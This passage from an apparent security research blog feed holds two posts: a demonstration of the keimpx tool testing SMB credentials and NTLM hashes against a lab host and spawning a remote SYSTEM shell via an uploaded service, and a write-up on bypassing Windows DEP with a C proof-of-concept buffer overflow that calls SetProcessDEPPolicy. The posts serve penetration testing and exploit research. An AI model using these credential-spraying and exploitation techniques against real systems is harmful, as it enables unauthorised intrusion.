&lt;bernardo.damele@gmail.com&gt;&lt;br /&gt;   &lt;br /&gt;Usage: keimpx.py [options]&lt;br /&gt;&lt;br /&gt;Options:&lt;br /&gt;  --version       show program&#39;s version number and exit&lt;br /&gt;  -h, --help      show this help message and exit&lt;br /&gt;  -v VERBOSE      Verbosity level: 0-2 (default 0)&lt;br /&gt;  -t TARGET       Target address&lt;br /&gt;  -l LIST         File with list of targets&lt;br /&gt;  -U USER         User&lt;br /&gt;  -P PASSWORD     Password&lt;br /&gt;  --nt=NTHASH     NT hash&lt;br /&gt;  --lm=LMHASH     LM hash&lt;br /&gt;  -c CREDSFILE    File with list of credentials&lt;br /&gt;  -D DOMAIN       Domain&lt;br /&gt;  -d DOMAINSFILE  File with list of domains&lt;br /&gt;  -p PORT         SMB port: 139 or 445 (default 445)&lt;br /&gt;  -n NAME         Local hostname&lt;br /&gt;  -T THREADS      Maximum simultaneous connections (default 10)&lt;br /&gt;  -b              Batch mode: do not ask to get an interactive SMB shell&lt;/pre&gt;Follows an example:&lt;br /&gt;&lt;pre style=&quot;font-family: courier new;&quot;&gt;$ cat /tmp/hashes_and_plain&lt;br /&gt;# Lines output of fgdump&lt;br /&gt;Administrator:500:0123456789ABCDEF0123456789ABCDEF:FEDCBA9876543210FEDCBA9876543210:::&lt;br /&gt;ASPNET:1003:F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68:::&lt;br /&gt;Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::&lt;br /&gt;# Cracked plain-text password&lt;br /&gt;testuser testpass&lt;br /&gt;&lt;br /&gt;$ python keimpx.py -t 172.16.77.130 -c /tmp/hashes_and_plain -v 1&lt;br /&gt;This product includes software developed by CORE Security Technologies&lt;br /&gt;(http://www.coresecurity.com), Python Impacket library&lt;br /&gt;&lt;br /&gt;    keimpx 0.2-dev&lt;br /&gt;    by Bernardo Damele A. G. &lt;bernardo.damele@gmail.com&gt;&lt;br /&gt;   &lt;br /&gt;[15:53:23] [INFO] Loading targets&lt;br /&gt;[15:53:23] [INFO] Loading credentials&lt;br /&gt;[15:53:23] [INFO] Loading domains&lt;br /&gt;[15:53:23] [INFO] Loaded 1 unique targets&lt;br /&gt;[15:53:23] [INFO] Loaded 4 unique credentials&lt;br /&gt;[15:53:23] [INFO] No domains specified, using NULL domain&lt;br /&gt;[15:53:23] [INFO] Attacking host 172.16.77.130:445&lt;br /&gt;[15:53:23] [INFO] Valid credentials on 172.16.77.130:445: Administrator/0123456789ABCDEF0123456789ABCDEF:FEDCBA9876543210FEDCBA9876543210&lt;br /&gt;[15:53:23] [INFO] Valid credentials on 172.16.77.130:445: ASPNET/F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68&lt;br /&gt;[15:53:23] [INFO] Wrong credentials on 172.16.77.130:445: Guest/BLANK (2239)&lt;br /&gt;[15:53:23] [INFO] Valid credentials on 172.16.77.130:445: testuser/testpass&lt;br /&gt;[15:53:23] [INFO] Attack on host 172.16.77.130:445 finished&lt;br /&gt;&lt;br /&gt;The credentials worked in total 3 times&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;TARGET SORTED RESULTS:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;172.16.77.130:445&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;  Administrator/0123456789ABCDEF0123456789ABCDEF:FEDCBA9876543210FEDCBA9876543210&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;  ASPNET/F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;  testuser/testpass&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;USER SORTED RESULTS:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Administrator/0123456789ABCDEF0123456789ABCDEF:FEDCBA9876543210FEDCBA9876543210&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;  172.16.77.130:445&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;ASPNET/F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;  172.16.77.130:445&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;testuser/testpass&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;  172.16.77.130:445&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Do you want to get a shell from any of the targets? [Y/n] y&lt;br /&gt;Which target do you want to connect to?&lt;br /&gt;[1] 172.16.77.130:445&lt;br /&gt;&gt; 1&lt;br /&gt;Which credentials do you want to use to connect?&lt;br /&gt;[1] Administrator/0123456789ABCDEF0123456789ABCDEF:FEDCBA9876543210FEDCBA9876543210&lt;br /&gt;[2] ASPNET/F9E4566E60BF54D2C5CBAB2825145C99:6CD9B3F3132973F0A7825B81E4191C68&lt;br /&gt;[3] testuser/testpass&lt;br /&gt;&gt; 1&lt;br /&gt;[15:53:46] [INFO] type &#39;help&#39; for help menu&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;# shell&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;[16:53:07] [INFO] Uploading the service executable to &#39;ADMIN$\ihtell.exe&#39;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;[16:53:07] [INFO] Connecting to the SVCCTL named pipe&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;[16:53:07] [INFO] Creating the service &#39;uYRYKB&#39;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;[16:53:07] [INFO] Starting the service &#39;uYRYKB&#39;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;[16:53:07] [INFO] Connecting to backdoor on port 2090, wait..&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Microsoft Windows [Version 5.2.3790]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;(C) Copyright 1985-2003 Microsoft Corp.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;C:\WINDOWS\system32&gt;&lt;/span&gt;whoami&lt;br /&gt;whoami&lt;br /&gt;nt authority\system&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\system32&gt;ipconfig&lt;br /&gt;ipconfig&lt;br /&gt;&lt;br /&gt;Windows IP Configuration&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ethernet adapter Local Area Connection 3:&lt;br /&gt;&lt;br /&gt;   Connection-specific DNS Suffix  . : localdomain&lt;br /&gt;   IP Address. . . . . . . . . . . . : 172.16.77.130&lt;br /&gt;   Subnet Mask . . . . . . . . . . . : 255.255.255.0&lt;br /&gt;   Default Gateway . . . . . . . . . : 172.16.77.2&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;C:\WINDOWS\system32&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;[16:53:20] [INFO] Connecting to the SVCCTL named pipe&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;[16:53:20] [INFO] Stopping the service &#39;uYRYKB&#39;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;[16:53:20] [INFO] Deleting the service &#39;uYRYKB&#39;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;[16:53:20] [INFO] Removing the service executable &#39;ADMIN$\ihtell.exe&#39;&lt;/span&gt;&lt;br /&gt;# exit&lt;/pre&gt;As you can see from the example, keimpx checked for usefulness of credentials of four different users on a single target address, identified that three of them are valid then asked to initiate a SMB shell, on which target, with which valid credentials then I provided the &lt;span style=&quot;font-family: courier new;&quot;&gt;shell&lt;/span&gt; command (you can see the list of implemented commands via &lt;span style=&quot;font-family: courier new;&quot;&gt;help&lt;/span&gt; or with &lt;span style=&quot;font-family: courier new;&quot;&gt;TAB&lt;/span&gt; completion) to spawn an interactive command prompt.&lt;br /&gt;&lt;br /&gt;I hope you find it useful during your large Windows infrastructure assessment!&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/8202276224332526671/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/8202276224332526671' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/8202276224332526671'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/8202276224332526671'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2009/12/keimpx-in-action.html' title='keimpx in action'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-6606882965740121934</id><published>2009-12-09T17:17:00.035+00:00</published><updated>2009-12-11T12:13:45.207+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="buffer overflow"/><category scheme="http://www.blogger.com/atom/ns#" term="dep"/><category scheme="http://www.blogger.com/atom/ns#" term="memory protection"/><category scheme="http://www.blogger.com/atom/ns#" term="nx"/><title type='text'>DEP bypass with SetProcessDEPPolicy()</title><content type='html'>&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://support.microsoft.com/kb/875352&quot;&gt;&lt;strong&gt;Data Execution Prevention&lt;/strong&gt;&lt;/a&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; (&lt;a href=&quot;http://blogs.technet.com/srd/archive/2009/06/05/understanding-dep-as-a-mitigation-technology-part-1.aspx&quot;&gt;DEP&lt;/a&gt;) was introduced in &lt;/span&gt;&lt;strong style=&quot;font-family: trebuchet ms;&quot;&gt;Windows XP SP2&lt;/strong&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; and is included in Windows XP Tablet PC Edition 2005, Windows Server 2003 Service Pack 1 and later, Windows Vista Service Pack 0 and later, and Windows Server 2008 Service Pack 0 and later, and all newer versions of Windows.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong style=&quot;font-family: trebuchet ms;&quot;&gt;Hardware-enforced DEP&lt;/strong&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;, for CPUs that support &lt;/span&gt;&lt;span style=&quot;font-style: italic;font-family:trebuchet ms;&quot; &gt;NX&lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; (AMD) or &lt;/span&gt;&lt;span style=&quot;font-style: italic;font-family:trebuchet ms;&quot; &gt;XD&lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; (Intel) bits, enforces non-executable pages, basically it marks the stack/part of the stack as non-executable, thus preventing the execution of arbitrary shellcode residing on the stack. When the processor/system has NX/XD support/enabled, then &lt;/span&gt;&lt;span style=&quot;font-weight: bold;font-family:trebuchet ms;&quot; &gt;Windows DEP is hardware DEP&lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;Compilers such as Visual Studio C++ offer a link flag (&lt;/span&gt;&lt;strong style=&quot;font-family: courier new; font-weight: normal;&quot;&gt;/NXCOMPAT&lt;/strong&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;) that will enable applications for DEP protection. It&#39;s enabled by default since it was introduced in Visual Studio 2005.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;DEP can be circumvented in a number of ways by an attacker while exploiting a buffer overflow vulnerability to successfully achieve arbitrary command execution or, generally speaking, &quot;successful shellcode run&quot; when it resides on the stack. Some of these techniques are:&lt;/span&gt;&lt;br /&gt;&lt;ul style=&quot;font-family: trebuchet ms;&quot;&gt;&lt;li&gt;&lt;a href=&quot;http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf&quot;&gt;Return-to-libc&lt;/a&gt; with a call to &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms687393%28VS.85%29.aspx&quot;&gt;WinExec()&lt;/a&gt; widely covered in many papers and slides.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;ZwProtectVirtualMemory&lt;/strong&gt; researched and explained on John&#39;s &lt;a style=&quot;font-weight: bold;&quot; href=&quot;http://woct-blog.blogspot.com/2005/01/dep-evasion-technique.html&quot;&gt;blog&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;NtSetInformationProcess &lt;/strong&gt;initially researched by skape and Skywing and explained in an &lt;a href=&quot;http://www.uninformed.org/&quot;&gt;Uninformed&lt;/a&gt; article titled &lt;a style=&quot;font-style: italic;&quot; href=&quot;http://www.uninformed.org/?v=2&amp;amp;a=4&quot;&gt;Bypassing Windows Hardware-enforced Data Execution Prevention&lt;/a&gt;. This is the widely known and used technique in most of publicly available exploits that bypass hardware-enforced DEP.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;SetProcessDEPPolicy&lt;/strong&gt;, discussed in this blog post.&lt;/li&gt;&lt;/ul&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;SetProcessDEPPolicy()&lt;/span&gt; API has been &quot;silently&quot; added to &lt;span style=&quot;font-weight: bold;&quot;&gt;Windows Vista SP1&lt;/span&gt;, &lt;span style=&quot;font-weight: bold;&quot;&gt;Windows XP SP3&lt;/span&gt; and &lt;span style=&quot;font-weight: bold;&quot;&gt;Windows Server 2008&lt;/span&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;&lt;br /&gt;Michael Howard wrote a &lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://blogs.msdn.com/michael_howard/archive/2008/01/29/new-nx-apis-added-to-windows-vista-sp1-windows-xp-sp3-and-windows-server-2008.aspx&quot;&gt;post&lt;/a&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; on his blog back in early 2009 on how to use this function to set DEP for the current process from a developer perspective; I found it fairly well documented on &lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://msdn.microsoft.com/en-us/library/bb736299%28VS.85%29.aspx&quot;&gt;MSDN&lt;/a&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; too. It has also been mentioned back in summer 2008 by &lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://www.phreedom.org/&quot;&gt;Alexander Sotirov&lt;/a&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; and &lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://taossa.com/&quot;&gt;Mark Dowd&lt;/a&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; in their Black Hat USA presentation titled &lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms; font-style: italic;&quot; href=&quot;http://www.blackhat.com/html/bh-usa-08/bh-usa-08-archive.html#Sotirov&quot;&gt;Bypassing Browser Memory Protections&lt;/a&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;.&lt;br /&gt;Apart from these references, I did not find on the Internet any proof of concept demonstrating in practice how to abuse this API while exploiting a buffer overflow vulnerability to bypass hardware-enforced DEP so I wrote the following proof of concept and hope it might be of help to other people too.&lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; In my opinion this technique is the simplest among the ones I have mentioned: it does not require any stack or registers alignment to be in place before the function is called.&lt;/span&gt; The only drawback is that it is not supported on Windows 2003&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;My test environment is a Windows XP Professional SP3 English updated on December 9, 2009 &lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;with DEP manually set to &lt;span style=&quot;font-weight: bold;&quot;&gt;OptOut&lt;/span&gt; so enabled for all processes except the ones that are put in the exception list and the following proof of concept is not.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaV4ml1vrBWReC1q6HRy5e-ZLm-9Q2Le3zUIkPLOfkplcAPAJQde9-R36QUYZ38A3uADCpi7a6tQ085lh4u0EliPKUIW5TuJsuFkzhpTlh4BuGdSduK4cdJ0XoTjnbCDZJaV7K2MG-ZcE/s1600-h/dep_set_to_optout.png&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 278px; height: 400px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaV4ml1vrBWReC1q6HRy5e-ZLm-9Q2Le3zUIkPLOfkplcAPAJQde9-R36QUYZ38A3uADCpi7a6tQ085lh4u0EliPKUIW5TuJsuFkzhpTlh4BuGdSduK4cdJ0XoTjnbCDZJaV7K2MG-ZcE/s400/dep_set_to_optout.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5413566930295226466&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;font-style: italic;font-family:trebuchet ms;&quot; &gt;DEP manually set to OptOut on Windows XP with no exceptions&lt;/span&gt; &lt;/div&gt;  &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;The source code &lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;has been compiled with Microsoft Visual C++ 2008 Express Edition in Release mode with the &lt;span style=&quot;font-weight: bold;&quot;&gt;default&lt;/span&gt; flags. This includes &lt;span style=&quot;font-family:courier new;&quot;&gt;/NXCOMPAT&lt;/span&gt; and &lt;span style=&quot;font-family:courier new;&quot;&gt;/GS&lt;/span&gt; flags.&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Buffer Security Check&lt;/span&gt; (stack cookie, &lt;span style=&quot;font-family:courier new;&quot;&gt;/GS&lt;/span&gt; flag) does not need to be bypassed in this specific case because the string buffer that we are going to overflow, &lt;span style=&quot;font-family:courier new;&quot;&gt;buf&lt;/span&gt;, is long 4 bytes, so the compiler does not add the stack cookie to the &lt;span style=&quot;font-family:courier new;&quot;&gt;useSetProcessDEPPolicy()&lt;/span&gt; function for performance reasons. Remember that &lt;span style=&quot;font-family:courier new;&quot;&gt;strict_gs_check&lt;/span&gt; pragma by default is turned off.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;The following screenshot of &lt;a href=&quot;http://www.immunityinc.com/products-immdbg.shtml&quot;&gt;Immunity Debugger&lt;/a&gt; shows that the shellcode&lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; (&lt;span style=&quot;font-family:courier new;&quot;&gt;INT 3&lt;/span&gt; instruction only in this PoC) has been successfully executed after DEP has been disabled abusing &lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;SetProcessDEPPolicy()&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9bGt0Iw79dSQKasZ0mBnwQce69p8o4HvbuhqhWu1xbaPjU8cGcG9EmL23ElJSNS7rQwovFO93KrsXy1yCQOSL1i6Fn8T8HQPPO7Sucxo6XWWuDOeWSt3Jy7cKMhvX2numvSNVkFWDY54/s1600-h/immdbg_int3_after_dep_disable_edit.png&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 267px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9bGt0Iw79dSQKasZ0mBnwQce69p8o4HvbuhqhWu1xbaPjU8cGcG9EmL23ElJSNS7rQwovFO93KrsXy1yCQOSL1i6Fn8T8HQPPO7Sucxo6XWWuDOeWSt3Jy7cKMhvX2numvSNVkFWDY54/s400/immdbg_int3_after_dep_disable_edit.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5413569548839603618&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;If DEP was not disabled, an &lt;span style=&quot;font-style: italic;&quot;&gt;Access Memory Violation&lt;/span&gt; would have been raised and the process would have been terminated.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;Follows the proof of concept:&lt;/span&gt;&lt;br /&gt;&lt;pre class=&quot;prettyprint&quot; style=&quot;font-family: courier new;&quot;&gt;/*&lt;br /&gt;This is a proof of concept of buffer overflow exploitation with DEP&lt;br /&gt;bypass on Windows XP Professional SP3 english updated on December 9,&lt;br /&gt;2009 with DEP manually set to OptOut so enabled for all processes,&lt;br /&gt;except the ones that are put in the exception list and this program&lt;br /&gt;is not.&lt;br /&gt;&lt;br /&gt;This source has been compiled with Microsoft Visual C++ 2008 Express&lt;br /&gt;Edition in Release mode with the default flags. This includes&lt;br /&gt;/NXCOMPAT and /GS.&lt;br /&gt;&lt;br /&gt;Buffer Security Check (stack cookie, /GS flag) does not need to be&lt;br /&gt;bypassed because the string buffer, buf, in this example is long&lt;br /&gt;4 bytes, so the compiler does not add the GS cookie to the&lt;br /&gt;useSetProcessDEPPolicy() function. Remember that strict_gs_check&lt;br /&gt;pragma by default is turned off.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;* &#39;New NX APIs added to Windows Vista SP1, Windows XP SP3 and Windows&lt;br /&gt; Server 2008&#39; by Michael Howard,&lt;br /&gt; http://blogs.msdn.com/michael_howard/archive/2008/01/29/new-nx-apis-added-to-windows-vista-sp1-windows-xp-sp3-and-windows-server-2008.aspx&lt;br /&gt;* SetProcessDEPPolicy Function,&lt;br /&gt; http://msdn.microsoft.com/en-us/library/bb736299%28VS.85%29.aspx&lt;br /&gt;&lt;br /&gt;Feel free to write me for comments and questions,&lt;br /&gt;Bernardo Damele A. G. &amp;lt;bernardo.damele@gmail.com&amp;gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;windows.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void useSetProcessDEPPolicy()&lt;br /&gt;{&lt;br /&gt;   char buf[4];&lt;br /&gt;&lt;br /&gt;   /* Overflow the string buffer and EBP register. */&lt;br /&gt;   strcpy(buf, &quot;AAAABBBB&quot;);&lt;br /&gt;&lt;br /&gt;   /* SetProcessDEPPolicy() API has been added to Windows Vista SP1,&lt;br /&gt;   Windows XP SP3 and Windows Server 2008 and can be abused by an&lt;br /&gt;   attacker while exploiting a buffer overflow vulnerability to disable&lt;br /&gt;   hardware-enforced DEP (NX/XD bit) for the running process.&lt;br /&gt;&lt;br /&gt;   Overwrite EIP with the address of SetProcessDepPolicy() API, which&lt;br /&gt;   is 0x7c8622a4 on a Windows XP SP3 English 32bit system updated on&lt;br /&gt;   December 9, 2009.&lt;br /&gt;&lt;br /&gt;   NOTE: You might need to adapt it depending on your system patch&lt;br /&gt;   level. */&lt;br /&gt;   memcpy(buf+8, &quot;\xa4\x22\x86\x7c&quot;, 4);&lt;br /&gt;&lt;br /&gt;   /* Return address of SetProcessDepPolicy().&lt;br /&gt;   Use an address of a JMP ESP instruction in kernel32.dll to jump to our&lt;br /&gt;   shellcode on the top of the stack.&lt;br /&gt;&lt;br /&gt;   NOTE: You might need to adapt it depending on your system patch&lt;br /&gt;   level. */&lt;br /&gt;   memcpy(buf+12, &quot;\x13\x44\x87\x7c&quot;, 4);&lt;br /&gt;&lt;br /&gt;   /* Argument for SetProcessDepPolicy().&lt;br /&gt;   0x00000000 turn off DEP for this process. */&lt;br /&gt;   memcpy(buf+16, &quot;\x00\x00\x00\x00&quot;, 4);&lt;br /&gt;&lt;br /&gt;   /* The shellcode to be executed after DEP has been disabled.&lt;br /&gt;   For instance, a breakpoint (INT 3 instruction) to call the&lt;br /&gt;   debug exception handler which will pause the process. */&lt;br /&gt;   memcpy(buf+20, &quot;\xcc&quot;, 1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;   useSetProcessDEPPolicy();&lt;br /&gt;&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;This source code can also be found &lt;a href=&quot;http://pastebin.com/f7e315887&quot;&gt;here&lt;/a&gt;.&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/6606882965740121934/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/6606882965740121934' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/6606882965740121934'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/6606882965740121934'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2009/12/dep-bypass-with-setprocessdeppolicy.html' title='DEP bypass with SetProcessDEPPolicy()'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaV4ml1vrBWReC1q6HRy5e-ZLm-9Q2Le3zUIkPLOfkplcAPAJQde9-R36QUYZ38A3uADCpi7a6tQ085lh4u0EliPKUIW5TuJsuFkzhpTlh4BuGdSduK4cdJ0XoTjnbCDZJaV7K2MG-ZcE/s72-c/dep_set_to_optout.png" height="72" width="72"/><thr:total>6</thr:total></entry></feed>